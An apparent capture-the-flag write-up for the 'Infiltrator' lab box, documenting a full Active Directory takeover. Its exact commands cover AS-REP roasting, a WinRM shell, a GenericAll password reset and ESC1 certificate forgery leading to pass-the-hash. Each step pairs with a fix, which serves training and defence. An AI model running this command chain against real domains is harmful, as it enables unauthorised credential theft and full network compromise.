Infiltrator
Summary
I harvested employee full names from the company's public website and converted them to Active Directory usernames using the standard first-initial-last-name convention. One account — l.clark — had Kerberos pre-authentication disabled, allowing me to request an offline-crackable AS-REP hash without triggering any logon alert. The hash was cracked in minutes with a common wordlist, yielding l.clark's password, which granted an interactive WinRM shell on the domain controller.
BloodHound ACL mapping then revealed that the built-in Account Operators group held GenericAll (full control) rights over the winrm_svc service account, allowing me to force-reset its password and pivot to a higher-privilege identity. From that foothold, a misconfigured Active Directory Certificate Services template let a low-privileged account enroll and write the identity of its choice into the certificate (ESC1); a certificate impersonating the domain Administrator was requested, used to obtain the Administrator's Kerberos ticket via PKINIT, and the resulting NT hash provided full domain compromise via Pass-the-Hash.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for l.clark>"
export PASSWORD2="<the-password-you-recovered, for winrm_svc>"Some commands also carry a value in angle brackets — <a-password-you-choose>, <the-password-you-just-set> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
The marketing copy is the directory here: seven staff, named in full.
$ curl -s http://$TARGET/ -o idx.htmlTwo capitalised words in a row is a crude filter, and on a page this size the false positives are quicker to delete than to code around.
$ grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' idx.html | sort -u > names.txtFirst initial, dot, surname. The convention is a guess until one of the names authenticates.
$ awk '{print tolower(substr($1,1,1)) "." tolower($2)}' names.txt > users.txtFixRemove employee full names from public-facing web pagesMedium
Exact commands 2
Add domain and DC hostname to local DNS resolution.
$ echo "$TARGET infiltrator.htb dc01.infiltrator.htb" | sudo tee -a /etc/hostsRequest AS-REP tickets for every candidate username; saves crackable hashes to asrep_h.txt.
$ impacket-GetNPUsers infiltrator.htb/ -dc-ip $TARGET -usersfile users.txt -no-pass -format hashcat -outputfile asrep_h.txtFixEnable Kerberos pre-authentication on all domain accountsHigh
Exact commands 3
Mode 18200 = Kerberos 5 AS-REP etype 23. Add --force if running inside a VM.
$ hashcat -m 18200 -a 0 asrep_h.txt /usr/share/wordlists/rockyou.txtValidate credential over SMB.
$ nxc smb $TARGET -u l.clark -p "$PASSWORD"Confirm WinRM (port 5985) access; Pwn3d! Confirms interactive shell rights.
$ nxc winrm $TARGET -u l.clark -p "$PASSWORD"FixEnforce a strong password policy and proactively audit for weak credentialsHigh
Exact commands 2
Open an interactive WinRM shell as l.clark.
$ evil-winrm -i $TARGET -u l.clark -p "$PASSWORD"Read the user flag: <user.txt>
$ type C:\Users\l.clark\Desktop\user.txtExact commands 2
Full BloodHound collection; import the .zip into the BloodHound GUI and query 'Shortest Paths to Domain Admins'.
$ bloodhound-python -u l.clark -p "$PASSWORD" -d infiltrator.htb -ns $TARGET -c All --zipEnumerate every account over which l.clark (via Account Operators membership) holds write or control rights.
$ bloodyAD --host $TARGET -d infiltrator.htb -u l.clark -p "$PASSWORD" get writableExact commands 3
Collect first; the edge worth having is a group membership away from the account just cracked.
$ bloodhound-python -u l.clark -p "$PASSWORD" -d infiltrator.htb -dc dc01.infiltrator.htb -c All --zipGenericAll includes the password. No old password, no prompt, no owner involvement.
$ bloodyAD --host $TARGET -d infiltrator.htb -u l.clark -p "$PASSWORD" set password winrm_svc '<a-password-you-choose>'The account is in Remote Management Users, which is why a reset is a shell.
$ evil-winrm -i $TARGET -u winrm_svc -p '<the-password-you-just-set>'FixRemove GenericAll ACL grants from Account Operators and other built-in operator groupsCritical
Exact commands 5
-vulnerable prints the ESC class per template. ESC1 is the one where the requester supplies the subject.
$ certipy find -u winrm_svc@infiltrator.htb -p "$PASSWORD2" -dc-ip $TARGET -vulnerable -stdoutThe template name comes from the scan above; -upn is the identity being claimed, which the ENROLLEE_SUPPLIES_SUBJECT flag is what permits.
$ certipy req -u winrm_svc@infiltrator.htb -p "$PASSWORD2" -dc-ip $TARGET -ca infiltrator-DC01-CA -template <VulnerableTemplate> -upn administrator@infiltrator.htbAuthenticate via PKINIT with the forged certificate; outputs the Administrator NT hash and a TGT.
$ certipy auth -pfx administrator.pfx -dc-ip $TARGETPass-the-Hash as Administrator for a full-privilege Domain Admin shell.
$ evil-winrm -i $TARGET -u Administrator -H '<ADMINISTRATOR_NT_HASH>'Read the root flag: <root.txt>
$ type C:\Users\Administrator\Desktop\root.txtFixHarden Active Directory Certificate Services templates and restrict enrollment permissionsCritical
Attack patterns used
The transferable techniques behind this compromise.
AS-REP RoastingActive Directory · KerberosT1558.004
What it is
Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.
Why it works
Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.
Read more
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | domain |
| 80/tcp | http |
| 88/tcp | kerberos-sec |
| 135/tcp | msrpc |
| 139/tcp | netbios-ssn |
| 389/tcp | ldap |
| 445/tcp | microsoft-ds |
| 464/tcp | kpasswd5 |
| 593/tcp | http-rpc-epmap |
| 636/tcp | ldapssl |
| 3268/tcp | globalcatLDAP |
| 3269/tcp | globalcatLDAPssl |
| 3389/tcp | ms-wbt-server |
| 5985/tcp | wsman |
| 9389/tcp | adws |
| 49666/tcp | unknown recon-sweep-discovered |
| 49694/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49700/tcp | unknown recon-sweep-discovered |
| 49728/tcp | unknown recon-sweep-discovered |
| 49733/tcp | unknown recon-sweep-discovered |
| 14118/tcp | ssl/unknown |
| 14119/tcp | ssl/unknown |
| 14121/tcp | unknown |
| 14122/tcp | unknown |
| 14123/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 14125/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 14126/tcp | http Apache httpd 2.4.9 ((Win32) PHP/5.5.12) |
| 14127/tcp | unknown |
| 14128/tcp | unknown |
| 14130/tcp | unknown |
| 14406/tcp | mysql MySQL 5.5.5-10.1.19-MariaDB |
| 15220/tcp | unknown |
| 15223/tcp | unknown |
| 15230/tcp | unknown |
| 49668/tcp | unknown |
| 49688/tcp | unknown |
| 49689/tcp | unknown |
| 49692/tcp | unknown |
| 49718/tcp | unknown |
| 49741/tcp | unknown |
| 49873/tcp | unknown |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.